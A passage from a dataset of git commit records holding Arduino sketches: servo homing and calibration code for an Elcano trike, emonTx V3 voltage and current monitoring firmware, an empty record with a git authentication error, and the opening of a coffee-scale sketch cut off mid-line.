OFF; \/\/ State to enter after homing.\n\/\/ Control source is ignored during calibration and homing.\nconst int USER_CONTROL = 0; \/\/ System is being controlled by user.\nconst int AUTO_CONTROL = 1; \/\/ System is being run by autonomous controller.\nint ControlSource = USER_CONTROL;\n\n\/\/ Calibration settings.\nint CALIBRATION_STEPS_PER_SWEEP = 10; \/\/ # of calibration steps to do from end to end of actuator's range in one direction.\nint NUM_CALIBRATION_SWEEPS = 4; \/\/ Do several sweeps.\nint MAX_CALIBRATION_STEPS = NUM_CALIBRATION_SWEEPS * CALIBRATION_STEPS_PER_SWEEP; \n\n\/\/ Moving parts.\n\/\/ @ToDo: Subclass the generic _Instrument class for Motor and LinearServo.\n\/\/ In particular, feedback capture will differ.\n\nconst int Full = 255; \/\/ fully on for PWM signals -- this is full left.\nconst int Min = 127; \/\/ minimum PWM value that has any effect -- this is full right.\nconst int Off = 0;\n\nconst int FullBrake = 225; \/\/ start with a conservative value; could go as high as 255; \nconst int MinimumBrake = 155; \/\/ start with a conservative value; could go as low as 127;\n\nconst int LimitLeft = 223; \/\/ start with a conservative value; could go as high as 255;\nconst int HalfLeft = 223; \/\/ midpoint btw straight and 255\nconst int Straight = 191;\nconst int HalfRight = 159; \/\/ midpoint btw straight and 127\nconst int LimitRight = 159; \/\/ start with a conservative value; could go as low as 127;\n\nconst int Motor = 0;\nconst int Brakes = 1;\nconst int Steering = 2;\nconst int NUM_INSTRUMENTS = 3;\nconst int IN_USE[] = {Brakes, Steering};\nconst int NUM_IN_USE = sizeof(IN_USE) \/ sizeof(int);\n\nclass _Instrument\n{\n public:\n \/\/ Constants\n \/\/static const int FEEDBACK_LEN = 5;\n\n \/\/ Instance data\n char* Name; \/\/ A string for debugging and calibration messages.\n int DesiredPosition;\n int OldDesiredPosition; \/\/ @ToDo: Need this? Intent was to ignore little twitches in the control.\n int MinPosition;\n int MaxPosition;\n int HomePosition; \/\/ Home position for the actuator, e.g. for steering, straight ahead.\n int Feedback; \/\/ Most recent feedback value. @ToDo: Store smoothed feedback value here.\n int OldFeedback; \/\/ Previous (smoothed) feedback value.\n \/\/int FeedbackHistory[FEEDBACK_LEN]; \/\/ History of raw feedback.\n \/\/int FeedbackIndex; \/\/ Index of latest feedback reading.\n \/\/int FeedbackDelta[FEEDBACK_LEN]; \/\/ History of change in feedback: it's awkward to just subtract FeedbackHistory values due to use of circular buffers.\n int EnablePin;\n int SignalPin;\n int FeedbackPin;\n int CurrentPin;\n int CloseEnough; \/\/ Difference between two position values that is small enough to be regarded as equal. Measured in input levels (counts).\n int StuckCount; \/\/ Max number of time steps for getting to position before being declared stuck.\n int NoMoveCount; \/\/ # consecutive steps with feedback change < CloseEnough but distance from DesiredPosition >= CloseEnough\n boolean Stuck; \/\/ Set if we've been stuck for at least StuckCount consecutive steps.\n \/\/ @ToDo: Step size depends on the loop rate. Instead, specify max slew rate --\n \/\/ step size per a specified time. Then, given a specified loop frequency, compute\n \/\/ the step size per loop pass.\n int MaxSlewRate; \/\/ How much the actuator can change position per second, measured in same units as internal position and feedback, i.e. 0-1023.\n int StepSize; \/\/ How much the actuator can change position per loop pass. Computed from MaxSlewRate and loop time.\n int CalibrationStepSize; \/\/ Size of a calibration step, saved here to avoid recomputing it. @ToDo: Give this a generic name and use it as a scratch variable?\n \/\/ One count (minimum input level change) from analog input is about 5mV from ACS758lcb050U.\n \/\/ The ACS758 has sensitivity of 60 mA\/V.\n int QuiescentCurrent; \/\/ Nominally 120 counts\n int CurrentDraw; \/\/ In counts, with 1 Amp = 12 counts\n int CurrentLimit; \/\/ In counts\n \/\/ Parameters for linear estimation of the control value corresponding to the\n \/\/ observed feedback. These are expected to apply when the servo is not\n \/\/ currently moving, and only after waiting for feedback to settle. This will\n \/\/ be used mainly on startup to avoid moving the servos abruptly.\n float FeedbackSlope;\n float FeedbackIntercept;\n\n \/\/ Update the feedback value. @ToDo: Apply smoothing.\n void update_feedback()\n {\n Serial.print(\"In I.update_feedback \");\n Serial.print(Name);\n Serial.print(\": Feedback = \");\n OldFeedback = Feedback;\n Feedback = analogRead(FeedbackPin); \/\/ 0 to 1023\n Serial.println(Feedback);\n }\n\n \/\/ Initialize the feedback values. @ToDo: This needs to init the smoothing array.\n void initialize_feedback()\n {\n Serial.print(\"In I.initialize_feedback \");\n Serial.println(Name);\n update_feedback(); \/\/ OldFeedback won't have real data after the first call,\n OldFeedback = Feedback; \/\/ so copy in the current feedback.\n }\n\n \/\/ Update the control value, DesiredPosition. External controllers, i.e. user or autonomous\n \/\/ operation, should set check_if_operating to true. This test for normal operation allows\n \/\/ update_control to be called asynchronously, e.g. on interrupt from an external autonomous\n \/\/ controller, without knowing whether homing or calibration is running. If the supplied\n \/\/ position is a change to the previous position (i.e. should be added to it), set is_delta true.\n \/\/ Defaults are appropriate for normal operation.\n void update_control(int new_desired_position,\n boolean check_if_operating = true,\n boolean is_delta = false)\n {\n Serial.print(\"In I.update_control \");\n Serial.print(Name);\n Serial.print(\": new_desired_position = \");\n Serial.print(new_desired_position);\n Serial.print(\" check_if_operating = \");\n Serial.print(check_if_operating);\n Serial.print(\" is_delta = \");\n Serial.println(is_delta);\n if (!check_if_operating || State == OPERATING)\n {\n OldDesiredPosition = DesiredPosition;\n if (is_delta)\n {\n DesiredPosition += new_desired_position;\n }\n else\n {\n DesiredPosition = new_desired_position;\n }\n \/\/ Sanity check the new value. Note if something is checking for the position to reach the\n \/\/ requested value, the requested value had better be within CloseEnough of the allowed\n \/\/ range.\n if (DesiredPosition > MaxPosition)\n {\n DesiredPosition = MaxPosition;\n }\n else if (DesiredPosition < MinPosition)\n {\n DesiredPosition = MinPosition;\n }\n }\n }\n\n \/\/ Set the device's position control.\n \/\/ @ToDo: This will differ per device. Override in subclasses, especially for the motor.\n void apply_control(int this_move)\n {\n Serial.print(\"In I.apply_control \");\n Serial.print(Name);\n Serial.print(\": pwm_position = \");\n \/\/ PWM values below 127 are ineffective for the servos we're using.\n int pwm_position = 127 + this_move\/8;\n analogWrite(SignalPin, pwm_position); \/\/ 127 to 255\n Serial.println(pwm_position);\n }\n\n \/\/ Check if posiiton is sufficiently close to desired position.\n int close_enough()\n {\n Serial.print(\"In I.close_enough \");\n Serial.print(Name);\n Serial.print(\": DesiredPosition = \");\n Serial.print(DesiredPosition);\n Serial.print(\" Feedback = \");\n Serial.print(Feedback);\n Serial.print(\" result = \");\n boolean result = abs(DesiredPosition - Feedback) < CloseEnough;\n Serial.println(result);\n return result;\n \/\/return abs(DesiredPosition - Feedback) < CloseEnough;\n }\n\n \/\/ Compute and apply one step toward the desired position.\n \/\/ (Note the Arduino IDE highlights the word move as though it is a reserved word, so don't\n \/\/ use that as the method name.)\n void move_position()\n {\n Serial.print(\"In I.move_position \");\n Serial.print(Name);\n Serial.print(\": DesiredPosition = \");\n Serial.print(DesiredPosition);\n Serial.print(\" Feedback = \");\n Serial.print(Feedback);\n Serial.print(\" OldFeedback = \");\n Serial.println(OldFeedback);\n int this_move;\n \/\/ Already close enough to the desired position?\n if (close_enough())\n {\n Serial.println(\"Is close enough, so not moving.\");\n return;\n }\n \/\/ No, keep moving.\n \/\/ Did we move on the last step? Note the first \"did not move\" after a move is\n \/\/ commanded will (likely) be a false positive.\n \/\/if (abs(DesiredPosition - OldDesiredPosition) < CloseEnough) \/\/ !!! wrong -- should be feedback and old feedback, no?\n if (abs(Feedback - OldFeedback) <= CloseEnough)\n {\n \/\/ Did not move much.\n Serial.println(\"Didn't move much.\");\n NoMoveCount++;\n if (NoMoveCount >= StuckCount)\n {\n Stuck = true;\n }\n }\n else\n {\n \/\/ Whew, not stuck this step.\n Serial.println(\"Did move some.\");\n NoMoveCount = 0;\n Stuck = false;\n }\n Serial.print(\"NoMoveCount = \");\n Serial.println(NoMoveCount);\n \/\/ Compute one allowed step toward the desired position at the maximum slew rate.\n \/\/ Note Arduino max() and min() docs warn not to use any arithmetic inside.\n \/\/ One presumes they are macros. Thus this_move is used to hold intermediate\n \/\/ steps in the calculations.\n if (DesiredPosition > Feedback)\n {\n Serial.print(\"DesiredPosition > Feedback: Feedback + StepSize = \");\n \/\/this_move = min(min(DesiredPosition, Feedback + StepSize), MaxPosition);\n this_move = Feedback + StepSize;\n Serial.print(this_move);\n this_move = min(DesiredPosition, this_move);\n Serial.print(\"min(DesiredPosition, this_move)\");\n Serial.print(this_move);\n this_move = min(this_move, MaxPosition);\n Serial.print(\"this_move = min(this_move, MaxPosition) = \");\n Serial.println(this_move);\n }\n else\n {\n Serial.print(\"DesiredPosition <= Feedback: Feedback - StepSize = \");\n \/\/this_move = max(MinPosition, max(DesiredPosition, Feedback - StepSize));\n this_move = Feedback - StepSize;\n Serial.print(this_move);\n this_move = max(DesiredPosition, this_move);\n Serial.print(\"max(DesiredPosition, this_move)\");\n Serial.print(this_move);\n this_move = max(MinPosition, this_move);\n Serial.print(\"this_move = max(MinPosition, this_move) = \");\n Serial.println(this_move);\n }\n apply_control(this_move);\n return;\n }\n\n \/\/ Set home position.\n void set_homing()\n {\n Serial.print(\"In I.set_homing \");\n Serial.print(Name);\n Serial.print(\": HomePosition = \");\n Serial.println(HomePosition);\n DesiredPosition = HomePosition;\n }\n\n \/\/ Set min position -- used for calibration.\n void set_min()\n {\n Serial.print(\"In I.set_min \");\n Serial.print(Name);\n Serial.print(\": MinPosition = \");\n Serial.println(MinPosition);\n DesiredPosition = MinPosition;\n }\n\n \/\/ Estimate control (DesiredPosition) value that would have produced a given feedback value.\n \/\/ This is from a standing start with the servos not moving -- so there is no way to account\n \/\/ for hysteresis as that depends on, e.g., which direction the servos were moving when the\n \/\/ system was shut down, whether the trike has been picked up and moved since then, whether\n \/\/ someone is sitting on it... The point is only to get a control value set on the control\n \/\/ pins before they're set as outputs.\n int estimate_control_from_feedback()\n {\n Serial.print(\"In I.estimate_control_from_feedback \");\n Serial.print(Name);\n Serial.print(\": control = \");\n float control_est = FeedbackSlope * Feedback + FeedbackIntercept;\n \/\/ Round to nearest integer.\n int control = (int)(control_est + 0.5);\n Serial.println(control);\n return control;\n }\n\n \/\/ Initialize the control values to match the actual position of the actuators.\n \/\/ @ToDo: Do we ever call estimate_control_from_feedback apart from setting the controls?\n \/\/ If not, combine them.\n void initialize_control_from_feedback()\n {\n Serial.print(\"In I.initialize_control_from_feedback \");\n Serial.print(Name);\n Serial.print(\": DesiredPosition = \");\n DesiredPosition = OldDesiredPosition = estimate_control_from_feedback();\n Serial.println(DesiredPosition);\n apply_control(DesiredPosition);\n }\n} Instrument[NUM_INSTRUMENTS];\n\n\/\/ @ToDo: Motor needs specialized versions of methods that compute and apply control values,\n\/\/ update feedback, and handle step size (ramping up is constrained, but down is not, so\n\/\/ StepSize is only used while ramping up).\n\/\/ class _Motor : public _Instrument { };\n\n\/\/ Note with subclasses, can't instantiate all the devices as above -- that produces only base\n\/\/ classes. Simplest is to have an array of pointers to the instances, e.g.:\n\/\/ _Instrument* Instrument[] = {\n\/\/ new _Instrument(...),\n\/\/ new _Instrument(...),\n\/\/ new _Motor(...) };\n\/\/ Provide constructors so can avoid indexing into the array by named indices.\n\/\/ If the classes are designed correctly, we should not need to know which is which outside\n\/\/ of the classes, so the named indices would not be needed.\n\nboolean all_close_enough()\n{\n Serial.print(\"In all_close_enough: result = \");\n for (int i = 0; i < NUM_IN_USE; i++)\n {\n \/\/if (!Instrument[IN_USE[i]].close_enough()) return false;\n if (!Instrument[IN_USE[i]].close_enough())\n {\n Serial.println(\"false\");\n return false;\n }\n }\n Serial.println(\"true\");\n return true;\n}\n\n\/\/ @ToDo:\n\/\/ Represents the control source, either user or autonomous. Subclass for various forms\n\/\/ of user control devices, or for autonomous.\n\/*\nclass _Control\n{\n public:\n \/\/ ...\n};\n_Control* Control = new _Control();\n*\/\n\n\/\/ Move all actuators to home positions. This just sets the state so that external control\n\/\/ signals are ignored, then sets the desired position for each actuator to its home\n\/\/ position. set_homing() would typically be called from setup or via an interrupt when\n\/\/ about to shut down. The next_state should be OPERATING if home() is called during\n\/\/ setup, or OFF if set_homing() is called when shutting down.\nvoid set_homing(int next_state)\n{\n Serial.print(\"In set_homing: next_state = \");\n Serial.println(next_state);\n NextState = next_state;\n State = HOMING;\n for (int i = 0; i < NUM_IN_USE; i++)\n {\n Instrument[IN_USE[i]].set_homing();\n }\n}\n\n\/\/ If homing, check if we've gotten there, and \nvoid check_homing()\n{\n Serial.println(\"In check_homing:\");\n if (all_close_enough())\n {\n Serial.print(\"Close enough, setting State = \");\n Serial.println(NextState);\n \/\/ All actuators are home -- go on to the real state.\n State = NextState;\n }\n}\n\n\/\/ Functions for calibration\n\nint calibration_step = 1; \/\/ Number the calibration steps.\nint calibration_pass = 1;\nint ramping_direction = 1; \/\/ Move all the actuators in the same \"direction\": +1 up, -1 down.\n\n\/\/ Set all to the minimum end of their position range, to prepare for calibration.\n\/\/ This borrows the homing mechanism, but with different target positions.\nvoid set_min()\n{\n Serial.println(\"In set_min:\");\n NextState = CALIBRATING;\n State = HOMING;\n for (int i = 0; i < NUM_IN_USE; i++)\n {\n Instrument[IN_USE[i]].set_min();\n }\n}\n\n\/\/ Check if we're at the end of a calibration move and ready to log info.\n\/\/ Prompt the user for the measured position value by printing out the calibration data\n\/\/ for this step. Wait til they type a response (ending with enter) on the serial line,\n\/\/ to indicate they're ready to go to the next control value. Echo it back up the serial\n\/\/ line so it gets logged.\nvoid check_calibrating()\n{\n Serial.println(\"In check_calibrating:\");\n \/\/ Have the actuators reached their next measurement point?\n if (!all_close_enough()) return;\n\n \/\/ Write calibration info.\n Serial.print(\"Pass \");\n Serial.print(calibration_pass);\n Serial.print(\", Step \");\n Serial.print(calibration_step);\n for (int i = 0; i < NUM_IN_USE; i++)\n {\n Serial.print(\", \");\n Serial.print(Instrument[IN_USE[i]].Name);\n Serial.print(\" \");\n Serial.print(Instrument[IN_USE[i]].Feedback);\n }\n \n \/\/ Wait for the user to say ok to move. Busy-wait until a char appears.\n Serial.println(\"Enter measurements:\");\n while (Serial.available() < 0) delay(100);\n Serial.println(\"Got user input.\");\n\n \/\/ Read all the queued-up chars into a string. Note not all chars in the line may get sent\n \/\/ in one packet, so wait for the newline.\n String line = \"\";\n while (true)\n {\n char c = (char)Serial.read();\n if (c > 0)\n {\n if (c == '\\n') break; \/\/ Stop when we get the end of the line.\n line += c;\n }\n else\n {\n while (Serial.available() < 0) {}\n }\n }\n \/\/ Echo user's text into the log.\n Serial.println(line);\n\n \/\/ Advance to next step.\n Serial.println(\"Advancing to next step.\");\n if (++calibration_step > CALIBRATION_STEPS_PER_SWEEP)\n {\n \/\/ Done with a sweep.\n Serial.println(\"Done with a sweep.\");\n if (++calibration_pass > NUM_CALIBRATION_SWEEPS)\n {\n \/\/ Quit after specified number of sweeps.\n Serial.println(\"Done.\");\n set_homing(OFF);\n return;\n }\n \/\/ At end of each sweep, reverse.\n ramping_direction = -ramping_direction;\n calibration_step = 1;\n }\n\n \/\/ Compute next positions.\n for (int i = 0; i < NUM_IN_USE; i++)\n {\n Serial.print(\"Next position for \");\n Serial.print(Instrument[IN_USE[i]].Name);\n Serial.print(\" = \");\n int next = Instrument[IN_USE[i]].CalibrationStepSize * ramping_direction;\n Serial.println(next);\n \/\/Instrument[IN_USE[i]].update_control(Instrument[IN_USE[i]].CalibrationStepSize * ramping_direction, false, true);\n Instrument[IN_USE[i]].update_control(next, false, true);\n }\n}\n\n\/*---------------------------------------------------------------------------------------*\/ \nvoid setup() \n{\n Serial.begin(9600);\n\n Serial.println(\"In setup:\");\n\n \/\/ @ToDo: Set these in constructor calls up above.\n Instrument[Motor].Name = \"Motor\";\n Instrument[Motor].EnablePin = EnableThrottle;\n Instrument[Motor].SignalPin = Throttle;\n \/\/Instrument[Motor].FeedbackPin = FeedbackMotor;\n Instrument[Motor].CurrentPin = Current36V;\n Instrument[Motor].MaxSlewRate = 4000;\n Instrument[Motor].StepSize = Instrument[Motor].MaxSlewRate * LOOP_TIME_MS \/ 1000; \/\/ = 20\n Instrument[Motor].CloseEnough = 1000; \/\/ no feedback\n Instrument[Motor].StuckCount = 3;\n Instrument[Motor].NoMoveCount = 0;\n Instrument[Motor].Stuck = false;\n Instrument[Motor].MinPosition = 85; \/\/ anolog read range is 0 to 1023\n Instrument[Motor].MaxPosition = 800;\n Instrument[Motor].FeedbackSlope = 0.0; \/\/ placeholders\n Instrument[Motor].FeedbackIntercept = 0.0;\n\n Instrument[Steering].Name = \"Steer\";\n Instrument[Steering].EnablePin = EnableSteer;\n Instrument[Steering].SignalPin = Steer;\n Instrument[Steering].FeedbackPin = SteerFB;\n Instrument[Steering].CurrentPin = CurrentSteer;\n Instrument[Steering].MaxSlewRate = 4000; \/\/ 2\"\/sec servo max slew rate.\n Instrument[Steering].StepSize = Instrument[Motor].MaxSlewRate * LOOP_TIME_MS \/ 1000; \/\/ = 20\n Serial.print(\"Steer StepSize = \");\n Serial.println(Instrument[Steering].StepSize);\n Instrument[Steering].CloseEnough = 5;\n Instrument[Steering].StuckCount = 5;\n Instrument[Steering].NoMoveCount = 0;\n Instrument[Steering].Stuck = false;\n Instrument[Steering].MinPosition = 85; \/\/ anolog read range is 0 to 1023\n Instrument[Steering].MaxPosition = 900;\n \/\/ These are based on a small number of values recorded in comments in other C2 scripts,\n \/\/ fitted to a line:\n \/\/ control = 0.13922 * feedback + 118.42\n \/\/ @ToDo: Replace by fit to larger set of values.\n Instrument[Steering].FeedbackSlope = 0.13922;\n Instrument[Steering].FeedbackIntercept = 118.42;\n\n Instrument[Brakes].Name = \"Brake\";\n Instrument[Brakes].EnablePin = EnableBrake;\n Instrument[Brakes].SignalPin = DiskBrake;\n Instrument[Brakes].FeedbackPin = BrakeFB;\n Instrument[Brakes].CurrentPin = CurrentBrake;\n Instrument[Brakes].MaxSlewRate = 4000; \/\/ 2\"\/sec servo max slew rate.\n Instrument[Brakes].StepSize = Instrument[Motor].MaxSlewRate * LOOP_TIME_MS \/ 1000; \/\/ = 20\n Serial.print(\"Brake StepSize = \");\n Serial.println(Instrument[Brakes].StepSize);\n Instrument[Brakes].CloseEnough = 5;\n Instrument[Brakes].StuckCount = 5;\n Instrument[Brakes].NoMoveCount = 0;\n Instrument[Brakes].Stuck = false;\n Instrument[Brakes].MinPosition = 85; \/\/ anolog read range is 0 to 1023\n Instrument[Brakes].MaxPosition = 800;\n Instrument[Brakes].FeedbackSlope = 0.13922; \/\/ @ToDo: these are for steering servo\n Instrument[Brakes].FeedbackIntercept = 118.42;\n\n \/\/ Wait a short while to let the feedback settle as power comes up.\n \/\/delay(5000);\n delay(100);\n\n \/\/ Read the feedback values first before applying output. Estimate the control value that\n \/\/ should produce the observed feedback, and use that as the starting control value so the\n \/\/ servos do not move too quickly.\n Serial.println(\"Reading initial feedback.\");\n for (int i = 0; i < NUM_IN_USE; i++)\n {\n Instrument[IN_USE[i]].initialize_feedback();\n Instrument[IN_USE[i]].initialize_control_from_feedback();\n }\n\n Serial.println(\"Setting control pins to output.\");\n pinMode(Instrument[Steering].SignalPin, OUTPUT);\n pinMode(Instrument[Brakes].SignalPin, OUTPUT);\n \n \/\/ Compute calibration step size from allowed ranges.\n for (int i = 0; i < NUM_IN_USE; i++)\n {\n Serial.print(\"Calibration step size for \");\n Serial.print(Instrument[IN_USE[i]].Name);\n Serial.print(\" = \");\n Instrument[IN_USE[i]].CalibrationStepSize =\n abs(Instrument[IN_USE[i]].MaxPosition - Instrument[IN_USE[i]].MinPosition) \/ CALIBRATION_STEPS_PER_SWEEP;\n Serial.println(Instrument[IN_USE[i]].CalibrationStepSize);\n }\n\n \/\/ Set up to home the actuators, then run calibration.\n set_homing(CALIBRATING);\n \n \/\/ As close to the end of setup as possible, set the first loop start time.\n next_loop_time_ms = millis() + LOOP_TIME_MS;\n}\n\n\/*---------------------------------------------------------------------------------------*\/\nvoid loop() \n{\n Serial.println(\"In loop:\");\n \/\/ Check if we need to pause until time to run this loop pass.\n \/\/ Note to self: times are unsigned -- beware subtraction.\n current_time_ms = millis();\n if (current_time_ms < next_loop_time_ms)\n {\n \/\/ Not at next loop time yet -- pause.\n pause_time_ms = next_loop_time_ms - current_time_ms;\n Serial.print(\"pause_time_ms = \");\n Serial.println(pause_time_ms);\n delay(pause_time_ms);\n }\n else\n {\n Serial.println(\"No need to pause.\");\n }\n next_loop_time_ms += LOOP_TIME_MS;\n\n \/\/ Do State update checks.\n \/\/ @ToDo: Refactor to use a State class. If we have a subclass for each specific state with\n \/\/ appropriate specialized methods, we won't need tests for which state we're in. E.g.\n \/\/ could replace check_homing() and check_calibrating() by a check_state().\n \n \/\/ If we're homing, are we there yet?\n if (State == HOMING)\n {\n check_homing();\n }\n\n \/\/ If we're calibrating...\n if (State == CALIBRATING)\n {\n check_calibrating();\n }\n\n \/\/ Did source of control change?\n \/\/ @ToDo: Add switch between auto and user control.\n \n \/\/ Collect inputs: User control values, feedback, currents, other sensor data,...\n \/\/ Update actuator feedback values. Do this all together so as to capture readings\n \/\/ as close together in time as possible.\n for (int i = 0; i < NUM_IN_USE; i++)\n {\n Instrument[IN_USE[i]].update_feedback();\n }\n\n \/\/ Compute and apply controls.\n for (int i = 0; i < NUM_IN_USE; i++)\n {\n Instrument[IN_USE[i]].move_position();\n }\n \n \/\/ Write any debug info to serial.\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Elcano_C2_Record_Servos\/Elcano_C2_Record_Servos.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"762f74c72dab4ee3fd1d04156c2ed44763518cbb","subject":"Added VoltageAndCurrent Arduino scheme","message":"Added VoltageAndCurrent Arduino scheme\n","repos":"ESAI-CEU-UCH\/raspi-monitoring-system,ESAI-CEU-UCH\/raspi-monitoring-system,ESAI-CEU-UCH\/raspi-monitoring-system,ESAI-CEU-UCH\/raspi-monitoring-system","old_file":"utils\/emontxv3_firmware\/raspimon_firmware\/VoltageAndCurrent\/VoltageAndCurrent.ino","new_file":"utils\/emontxv3_firmware\/raspimon_firmware\/VoltageAndCurrent\/VoltageAndCurrent.ino","new_contents":"#define emonTxV3 \/\/ Tell emonLib this is the emonTx V3 - don't read Vcc assume Vcc = 3.3V as is always the case on emonTx V3 eliminates bandgap error and need for calibration http:\/\/harizanov.com\/2013\/09\/thoughts-on-avr-adc-accuracy\/\n#define RF69_COMPAT 1 \/\/ Set to 1 if using RFM69CW or 0 is using RFM12B\n\n#include <JeeLib.h> \/\/https:\/\/github.com\/jcw\/jeelib - Tested with JeeLib 3\/11\/14\nISR(WDT_vect) { Sleepy::watchdogEvent(); } \/\/ Attached JeeLib sleep function to Atmega328 watchdog -enables MCU to be put into sleep mode inbetween readings to reduce power consumption \n\n#include \"EmonLib.h\" \/\/ Include EmonLib energy monitoring library https:\/\/github.com\/openenergymonitor\/EmonLib\nEnergyMonitor ct1, ct2, ct3, ct4; \n\n#include <OneWire.h> \/\/http:\/\/www.pjrc.com\/teensy\/td_libs_OneWire.html\n\n\/\/ All CTs are considered as enabled\nconst byte version = 10;\n\nfloat Vcal1=276.9; \/\/ (230V x 13) \/ (9V x 1.2) = 276.9 Calibration for EU AC-AC adapter 77DB-06-09 \nfloat Vcal2=276.9; \/\/ (230V x 13) \/ (9V x 1.2) = 276.9 Calibration for EU AC-AC adapter 77DB-06-09 \nfloat Vcal3=276.9; \/\/ (230V x 13) \/ (9V x 1.2) = 276.9 Calibration for EU AC-AC adapter 77DB-06-09 \nfloat Vcal4=276.9; \/\/ (230V x 13) \/ (9V x 1.2) = 276.9 Calibration for EU AC-AC adapter 77DB-06-09 \n\nconst float Ical1= 87.60; \/\/ (2000 turns \/ 22 Ohm burden) = 90.9\nconst float Ical2= 87.70; \/\/ (2000 turns \/ 22 Ohm burden) = 90.9\nconst float Ical3= 87.50; \/\/ (2000 turns \/ 22 Ohm burden) = 90.9\nconst float Ical4= 16.67; \/\/ (2000 turns \/ 120 Ohm burden) = 16.67\n\nconst float phase_shift1= 1.7;\nconst float phase_shift2= 1.7;\nconst float phase_shift3= 1.7;\nconst float phase_shift4= 1.7;\n\n\/\/----------------------------emonTx V3 hard-wired connections--------------------------------------------------------------------------------------------------------------- \nconst byte LEDpin= 6; \/\/ emonTx V3 LED\nconst byte battery_voltage_pin= 7; \/\/ Battery Voltage sample from 3 x AA\n#define ONE_WIRE_BUS 5 \/\/ DS18B20 Data \n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\n\/\/-----------------------RFM12B \/ RFM69CW SETTINGS----------------------------------------------------------------------------------------------------\n#define RF_freq RF12_433MHZ \/\/ Frequency of RF69CW module can be RF12_433MHZ, RF12_868MHZ or RF12_915MHZ. You should use the one matching the module you have.\nbyte nodeID = 10; \/\/ emonTx RFM12B node ID\nconst int networkGroup = 210;\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\nbool ACAC;\nconst int no_of_half_wavelengths = 20;\nconst int timeout = 400;\n\nvoid setup() \n{\n pinMode(LEDpin, OUTPUT); \n digitalWrite(LEDpin,HIGH); \n\n Serial.begin(9600);\n Serial.print(\"raspimon - Voltage V\"); Serial.print(version*0.1);\n #if (RF69_COMPAT)\n Serial.println(\" RFM69CW\");\n #else\n Serial.println(\" RFM12B\");\n #endif\n Serial.println(\"POST.....wait 10s\"); \n \n Serial.print(\"Node: \"); \n Serial.print(nodeID); \n Serial.print(\" Freq: \"); \n if (RF_freq == RF12_433MHZ) Serial.print(\"433Mhz\");\n if (RF_freq == RF12_868MHZ) Serial.print(\"868Mhz\");\n if (RF_freq == RF12_915MHZ) Serial.print(\"915Mhz\"); \n Serial.print(\" Network: \"); \n Serial.println(networkGroup);\n \n \/\/ Calculate if there is an ACAC adapter on analog input 0\n double vrms = calc_rms(0,1780) * 0.87;\n if (vrms>90) ACAC = 1; else ACAC=0;\n \n if (ACAC) \n {\n Serial.println(\"ACAC found\");\n for (int i=0; i<10; i++) \/\/ indicate AC has been detected by flashing LED 10 times\n { \n digitalWrite(LEDpin, HIGH); delay(200);\n digitalWrite(LEDpin, LOW); delay(300);\n }\n }\n else {\n Serial.println(\"THIS SCHEME NEEDS ACAC ADAPTOR\");\n return;\n }\n\n ct1.current(1, Ical1);\n ct2.current(2, Ical2);\n ct3.current(3, Ical3);\n ct4.current(4, Ical4);\n \n ct1.voltage(0, Vcal1, phase_shift1); \/\/ ADC pin, Calibration, phase_shift\n ct2.voltage(0, Vcal2, phase_shift2); \/\/ ADC pin, Calibration, phase_shift\n ct3.voltage(0, Vcal3, phase_shift3); \/\/ ADC pin, Calibration, phase_shift\n ct4.voltage(0, Vcal4, phase_shift4); \/\/ ADC pin, Calibration, phase_shift\n\n pinMode(LEDpin, OUTPUT); \/\/ Setup indicator LED\n digitalWrite(LEDpin, HIGH);\n delay(200);\n digitalWrite(LEDpin, LOW);\n}\n\nvoid loop() \n{\n if (!ACAC) {\n Serial.println(\"THIS SCHEME NEEDS ACAC ADAPTOR\");\n delay(1000);\n return;\n }\n \n ct1.calcVI(no_of_half_wavelengths,timeout); \n ct2.calcVI(no_of_half_wavelengths,timeout); \n ct3.calcVI(no_of_half_wavelengths,timeout); \n ct4.calcVI(no_of_half_wavelengths,timeout); \n \n Serial.print(\"CT1: \"); ct1.serialprint();\n Serial.print(\"CT2: \"); ct2.serialprint();\n Serial.print(\"CT3: \"); ct3.serialprint();\n Serial.print(\"CT4: \"); ct4.serialprint();\n\n if (ACAC) {digitalWrite(LEDpin, HIGH); delay(200); digitalWrite(LEDpin, LOW);} \/\/ flash LED if powe \n delay(10);\n}\n\ndouble calc_rms(int pin, int samples)\n{\n unsigned long sum = 0;\n for (int i=0; i<samples; i++) \/\/ 178 samples takes about 20ms\n {\n int raw = (analogRead(0)-512);\n sum += (unsigned long)raw * raw;\n }\n double rms = sqrt((double)sum \/ samples);\n return rms;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'utils\/emontxv3_firmware\/raspimon_firmware\/VoltageAndCurrent\/VoltageAndCurrent.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1a96a8429b1dae31a55e843a6e20520ae01cd674","subject":"Variable fixes","message":"Variable fixes\n","repos":"markwatneyy\/ttt_arduino","old_file":"ttt_arduino.ino","new_file":"ttt_arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"001aecc17de584ad6b7c7aba25b13127960eae8f","subject":"Add Arduino sketch","message":"Add Arduino sketch\n","repos":"mortenfyhn\/coffee-scales","old_file":"coffee-scale.ino","new_file":"coffee-scale.ino","new_contents":"#include <RunningAverage.h>\n#include <SevenSegmentExtended.h>\n#include <TimeLib.h>\n#include <HX711.h>\n#include <stdlib.h>\n\n#define DISP_TIMER_CLK 12\n#define DISP_TIMER_DIO 11\n#define DISP_SCALE_CLK 3\n#define DISP_SCALE_DIO 2\n#define SCALE_DT A1\n#define SCALE_SCK A2\n\n#define NUM_DIGITS 4\n#define FILTER_SIZE 10\n#define BRIGHTNESS 100\n\n#define SCALE_FACTOR 1876\n#define SCALE_OFFSET 105193 - 100\n\nSevenSegmentExtended timerDisp(DISP_TIMER_CLK, DISP_TIMER_DIO);\nSevenSegmentTM1637 scaleDisp(DISP_SCALE_CLK, DISP_SCALE_DIO);\nHX711 scale;\nRunningAverage filter(FILTER_SIZE);\nchar decigrams_array[NUM_DIGITS];\nuint8_t display_buffer[NUM_DIGITS];\nfloat weight_in_grams;\nuint32_t start_time;\nbool has_started = 